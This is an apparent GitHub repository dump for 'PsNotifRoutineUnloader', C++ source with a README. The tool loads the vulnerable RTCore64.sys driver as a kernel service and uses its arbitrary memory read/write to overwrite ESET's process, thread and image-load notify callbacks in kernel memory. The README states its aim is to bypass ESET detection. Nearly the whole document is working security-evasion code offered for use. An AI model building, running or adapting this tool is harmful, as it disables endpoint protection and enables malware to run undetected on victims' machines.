├── .gitattributes ├── PsNotifRoutineUnloader.cpp ├── README.md ├── RTCore64.sys └── poc.png /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /PsNotifRoutineUnloader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | using namespace std; 9 | #define _CRT_SECURE_NO_WARNINGS 10 | 11 | // Stolen from https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp 12 | 13 | 14 | void Log(const char* Message, ...) { 15 | const auto file = stderr; 16 | } 17 | 18 | 19 | DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) { 20 | BOOL status = FALSE; 21 | SC_HANDLE hSC = NULL, hS = NULL; 22 | if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) { 23 | if (hS = OpenService(hSC, serviceName, SERVICE_START)) { 24 | Log("[+] \'%s\' service already registered\n", serviceName); 25 | } 26 | else { 27 | if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { 28 | Log("[*] \'%s\' service not present\n", serviceName); 29 | if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) { 30 | Log("[+] \'%s\' service successfully registered\n", serviceName); 31 | } 32 | else Log("CreateService"); 33 | } 34 | else Log("OpenService"); 35 | } 36 | if (hS) { 37 | if (startIt) { 38 | if (status = StartService(hS, 0, NULL)) 39 | Log("[+] \'%s\' service started\n", serviceName); 40 | else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) 41 | Log("[*] \'%s\' service already started\n", serviceName); 42 | else { 43 | //Log("StartService"); 44 | } 45 | } 46 | CloseServiceHandle(hS); 47 | } 48 | CloseServiceHandle(hSC); 49 | } 50 | else { 51 | Log("OpenSCManager(create)"); 52 | return GetLastError(); 53 | } 54 | return 0; 55 | } 56 | 57 | 58 | 59 | 60 | 61 | 62 | struct Offsets { 63 | DWORD64 process; 64 | DWORD64 image; 65 | DWORD64 thread; 66 | DWORD64 registry; 67 | }; 68 | 69 | struct Offsets getVersionOffsets() { 70 | wchar_t value[255] = { 0x00 }; 71 | DWORD BufferSize = 255; 72 | RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize); 73 | Log("[+] Windows Version %s Found\n", value); 74 | auto winVer = _wtoi(value); 75 | switch (winVer) { 76 | //case 1903: 77 | case 1909: 78 | return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 }; 79 | case 2004: 80 | return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 }; 81 | case 2009: 82 | return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 }; 83 | default: 84 | Log("[!] Version Offsets Not Found!\n"); 85 | } 86 | } 87 | 88 | 89 | 90 | 91 | 92 | HANDLE GetDriverHandle() { 93 | HANDLE Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); 94 | if (Device == INVALID_HANDLE_VALUE) { 95 | Log("[!] Unable to obtain a handle to the device object"); 96 | return Device; 97 | exit; 98 | } 99 | else { 100 | Log("[+] Device object handle obtained: %p", Device); 101 | return Device; 102 | } 103 | } 104 | 105 | 106 | DWORD64 Findkrnlbase() { 107 | DWORD cbNeeded = 0; 108 | LPVOID drivers[1024]; 109 | if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { 110 | return (DWORD64)drivers[0]; 111 | } 112 | return NULL; 113 | } 114 | 115 | 116 | 117 | DWORD64 GetFunctionAddress(LPCSTR function) { 118 | DWORD64 Ntoskrnlbaseaddress = Findkrnlbase(); 119 | HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); 120 | DWORD64 Offset = reinterpret_cast(GetProcAddress(Ntoskrnl, function)) - reinterpret_cast(Ntoskrnl); 121 | DWORD64 address = Ntoskrnlbaseaddress + Offset; 122 | FreeLibrary(Ntoskrnl); 123 | Log("[+] %s address: %p", function, address); 124 | return address; 125 | } 126 | 127 | 128 | struct RTCORE64_MSR_READ { 129 | DWORD Register; 130 | DWORD ValueHigh; 131 | DWORD ValueLow; 132 | }; 133 | static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes"); 134 | 135 | struct RTCORE64_MEMORY_READ { 136 | BYTE Pad0[8]; 137 | DWORD64 Address; 138 | BYTE Pad1[8]; 139 | DWORD ReadSize; 140 | DWORD Value; 141 | BYTE Pad3[16]; 142 | }; 143 | static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); 144 | 145 | struct RTCORE64_MEMORY_WRITE { 146 | BYTE Pad0[8]; 147 | DWORD64 Address; 148 | BYTE Pad1[8]; 149 | DWORD ReadSize; 150 | DWORD Value; 151 | BYTE Pad3[16]; 152 | }; 153 | static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); 154 | 155 | static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030; 156 | static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048; 157 | static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c; 158 | 159 | DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { 160 | RTCORE64_MEMORY_READ MemoryRead{}; 161 | MemoryRead.Address = Address; 162 | MemoryRead.ReadSize = Size; 163 | DWORD BytesReturned; 164 | DeviceIoControl(Device, 165 | RTCORE64_MEMORY_READ_CODE, 166 | &MemoryRead, 167 | sizeof(MemoryRead), 168 | &MemoryRead, 169 | sizeof(MemoryRead), 170 | &BytesReturned, 171 | nullptr); 172 | return MemoryRead.Value; 173 | } 174 | DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { 175 | return ReadMemoryPrimitive(Device, 4, Address); 176 | } 177 | DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { 178 | return (static_cast(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address); 179 | } 180 | 181 | 182 | 183 | 184 | DWORD64 PatternSearch(HANDLE Device, DWORD64 start, DWORD64 end, DWORD64 pattern) { 185 | int range = end - start; 186 | for (int i = 0; i < range; i++) { 187 | DWORD64 contents = ReadMemoryDWORD64(Device, start + i); 188 | if (contents == pattern) { 189 | return start + i; 190 | } 191 | } 192 | } 193 | 194 | 195 | 196 | struct drvProps { 197 | TCHAR* name; 198 | DWORD64 Address; 199 | }; 200 | drvProps FindDriver(DWORD64 address) { 201 | LPVOID drivers[1024]; 202 | DWORD cbNeeded; 203 | int cDrivers, i; 204 | DWORD64 diff[3][200]; 205 | TCHAR szDriver[1024]; 206 | if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { 207 | int n = sizeof(drivers) / sizeof(drivers[0]); 208 | cDrivers = cbNeeded / sizeof(drivers[0]); 209 | int narrow = 0; 210 | int c = 0; 211 | for (i = 0; i < cDrivers; i++) { 212 | if (address > (DWORD64)drivers[i]) { 213 | diff[0][c] = address; 214 | diff[1][c] = address - (DWORD64)drivers[i]; 215 | diff[2][c] = (DWORD64)drivers[i]; 216 | c++; 217 | } 218 | } 219 | } 220 | int k = 0; 221 | DWORD64 temp = diff[1][0]; 222 | for (k = 0; k < cDrivers; k++) { 223 | if ((temp > diff[1][k]) && (diff[0][k] == address)) { 224 | temp = diff[1][k]; 225 | } 226 | } 227 | if (GetDeviceDriverBaseName(LPVOID(address - temp), szDriver, sizeof(szDriver))) { 228 | // renvoit le nom du driver et son adresse 229 | return drvProps{ szDriver, address }; 230 | } 231 | else { 232 | Log("[+] Could not resolve driver for %p", address); 233 | } 234 | } 235 | 236 | 237 | void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { 238 | RTCORE64_MEMORY_READ MemoryRead{}; 239 | MemoryRead.Address = Address; 240 | MemoryRead.ReadSize = Size; 241 | MemoryRead.Value = Value; 242 | DWORD BytesReturned; 243 | DeviceIoControl(Device, 244 | RTCORE64_MEMORY_WRITE_CODE, 245 | &MemoryRead, 246 | sizeof(MemoryRead), 247 | &MemoryRead, 248 | sizeof(MemoryRead), 249 | &BytesReturned, 250 | nullptr); 251 | } 252 | 253 | void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { 254 | WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); 255 | WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); 256 | } 257 | 258 | DWORD64 findimgcallbackroutine(DWORD64 remove) { 259 | 260 | Offsets offsets = getVersionOffsets(); 261 | const auto Device = GetDriverHandle(); 262 | 263 | 264 | DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx"); 265 | DWORD64 PsSetCreateProcessNotifyRoutine = GetFunctionAddress("PsSetCreateProcessNotifyRoutine"); 266 | 267 | DWORD64 patternaddress = PatternSearch(Device, PsSetLoadImageNotifyRoutineExAddress, PsSetCreateProcessNotifyRoutine, offsets.image); 268 | DWORD offset = ReadMemoryDWORD(Device, patternaddress - 0x7); 269 | const DWORD64 PspLoadImageNotifyRoutineAddress = (((patternaddress) >> 32) << 32) + ((DWORD)(patternaddress)+offset) - 3; 270 | Log("[+] PspLoadImageNotifyRoutineAddress: %p", PspLoadImageNotifyRoutineAddress); 271 | Log("[+] Enumerating image load callbacks"); 272 | int i = 0; 273 | for (i; i < 64; i++) { 274 | DWORD64 callback = ReadMemoryDWORD64(Device, PspLoadImageNotifyRoutineAddress + (i * 8)); 275 | if (callback != NULL) {//only print actual callbacks 276 | callback = (callback &= ~(1ULL << 3) + 0x1);//shift bytes 277 | DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback); 278 | 279 | 280 | drvProps props = FindDriver(cbFunction); 281 | std::vector esetDrv{ "edevmon.sys", "ehdrv.sys", "epfw.sys", "epfwwfp.sys" }; 282 | for (std::string drvName : esetDrv) 283 | { 284 | char name[] = ""; 285 | char* str = name; 286 | wcstombs(str, props.name, 12); 287 | const char* c = drvName.data(); 288 | if (strcmp(c, str) == 0) { 289 | printf("New ESET driver found (%s) at address : %p\n\n", c, props.Address); 290 | printf("Removing callback to %p at address %p\n", cbFunction, PspLoadImageNotifyRoutineAddress + (i * 8)); 291 | WriteMemoryDWORD64(Device, PspLoadImageNotifyRoutineAddress + (i * 8), 0x0000000000000000); 292 | } 293 | } 294 | } 295 | 296 | } 297 | 298 | } 299 | 300 | DWORD64 findthreadcallbackroutine(DWORD64 remove) { 301 | 302 | Offsets offsets = getVersionOffsets(); 303 | const auto Device = GetDriverHandle(); 304 | 305 | const DWORD64 PsRemoveCreateThreadNotifyRoutine = GetFunctionAddress("PsRemoveCreateThreadNotifyRoutine"); 306 | const DWORD64 PsRemoveLoadImageNotifyRoutine = GetFunctionAddress("PsRemoveLoadImageNotifyRoutine"); 307 | 308 | DWORD64 patternaddress = PatternSearch(Device, PsRemoveCreateThreadNotifyRoutine, PsRemoveLoadImageNotifyRoutine, offsets.thread); 309 | DWORD offset = ReadMemoryDWORD(Device, patternaddress - 0x4); 310 | DWORD64 PspCreateThreadNotifyRoutineAddress = (((patternaddress) >> 32) << 32) + ((DWORD)(patternaddress)+offset); 311 | Log("[+] PspCreateThreadNotifyRoutineAddress: %p", PspCreateThreadNotifyRoutineAddress); 312 | Log("[+] Enumerating thread creation callbacks"); 313 | int i = 0; 314 | for (i; i < 64; i++) { 315 | DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateThreadNotifyRoutineAddress + (i * 8)); 316 | if (callback != NULL) {//only print actual callbacks 317 | callback = (callback &= ~(1ULL << 3) + 0x1);//shift bytes 318 | DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback); 319 | 320 | 321 | 322 | drvProps props = FindDriver(cbFunction); 323 | std::vector esetDrv{ "edevmon.sys", "ehdrv.sys", "epfw.sys", "epfwwfp.sys" }; 324 | for (std::string drvName : esetDrv) 325 | { 326 | char name[] = ""; 327 | char* str = name; 328 | wcstombs(str, props.name, 12); 329 | const char* c = drvName.data(); 330 | if (strcmp(c, str) == 0) { 331 | printf("New ESET driver found (%s) at address : %p\n\n", c, props.Address); 332 | printf("Removing callback to %p at address %p\n", cbFunction, PspCreateThreadNotifyRoutineAddress + (i * 8)); 333 | WriteMemoryDWORD64(Device, PspCreateThreadNotifyRoutineAddress + (i * 8), 0x0000000000000000); 334 | } 335 | } 336 | 337 | } 338 | 339 | } 340 | 341 | } 342 | 343 | 344 | DWORD64 findprocesscallbackroutine(DWORD64 remove) { 345 | Offsets offsets = getVersionOffsets(); 346 | const auto Device = GetDriverHandle(); 347 | const DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine"); 348 | const DWORD64 IoCreateDriverAddress = GetFunctionAddress("IoCreateDriver"); 349 | DWORD64 patternaddress = PatternSearch(Device, PsSetCreateProcessNotifyRoutineAddress, IoCreateDriverAddress, offsets.process); 350 | DWORD offset = ReadMemoryDWORD(Device, patternaddress - 0x0c); 351 | DWORD64 PspCreateProcessNotifyRoutineAddress = (((patternaddress) >> 32) << 32) + ((DWORD)(patternaddress)+offset) - 8; 352 | Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress); 353 | Log("[+] Enumerating process creation callbacks"); 354 | int i = 0; 355 | for (i; i < 64; i++) { 356 | DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8)); 357 | if (callback != NULL) { 358 | callback = (callback &= ~(1ULL << 3) + 0x1); 359 | DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback); 360 | 361 | 362 | drvProps props = FindDriver(cbFunction); 363 | std::vector esetDrv{ "edevmon.sys", "ehdrv.sys", "epfw.sys", "epfwwfp.sys" }; 364 | for (std::string drvName : esetDrv) 365 | { 366 | char name[] = ""; 367 | char* str = name; 368 | wcstombs(str, props.name, 12); 369 | const char* c = drvName.data(); 370 | if (strcmp(c, str) == 0) { 371 | printf("\n[+] New ESET PsRoutine found (%s) at address : %p\n", c, props.Address); 372 | printf("\t[+] Removing callback to %p at address %p\n", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8)); 373 | WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8), 0x0000000000000000); 374 | } 375 | } 376 | 377 | } 378 | } 379 | } 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | int main(int argc, char* argv[]) { 388 | 389 | // liste des drivers Eset 390 | // "edevmon.sys", "ehdrv.sys", "epfw.sys", "epfwwfp.sys" 391 | 392 | 393 | const auto svcName = L"RTCore64"; 394 | const auto svcDesc = L"Micro-Star MSI Afterburner"; 395 | const wchar_t driverName[] = L"\\RTCore64.sys"; 396 | const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t); 397 | TCHAR driverPath[pathSize]; 398 | GetCurrentDirectory(pathSize, driverPath); 399 | wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t)); 400 | 401 | 402 | if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) { 403 | Log("[!] 0x00000005 - Access Denied - Did you run as administrator?\n"); 404 | return 1; 405 | } 406 | 407 | 408 | DWORD64 processes = findprocesscallbackroutine(NULL); 409 | DWORD64 threads = findthreadcallbackroutine(NULL); 410 | DWORD64 images = findimgcallbackroutine(NULL); 411 | 412 | 413 | FindDriver(processes); 414 | printf("\n\n"); 415 | FindDriver(threads); 416 | printf("\n\n"); 417 | FindDriver(images); 418 | 419 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

C++ PsNotifRoutineUnloader for Eset Security

2 | 3 |
4 | 5 | 6 |
7 | 8 |
9 | 10 |

11 |
12 |
13 | This script is used to unload PsSetCreateProcessNotifyRoutineEx, PsSetCreateProcessNotifyRoutine, PsSetLoadImageNotifyRoutine and PsSetCreateThreadNotifyRoutine from ESET Security to bypass the driver detection 14 |

15 | Stolen from :
16 |
17 | - https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
18 |
19 | 20 | 21 | -------------------------------------------------------------------------------- /RTCore64.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProcessusT/PsNotifRoutineUnloader/d838cc8f4b3506ba30378a6b53b787d892f1b32f/RTCore64.sys -------------------------------------------------------------------------------- /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ProcessusT/PsNotifRoutineUnloader/d838cc8f4b3506ba30378a6b53b787d892f1b32f/poc.png --------------------------------------------------------------------------------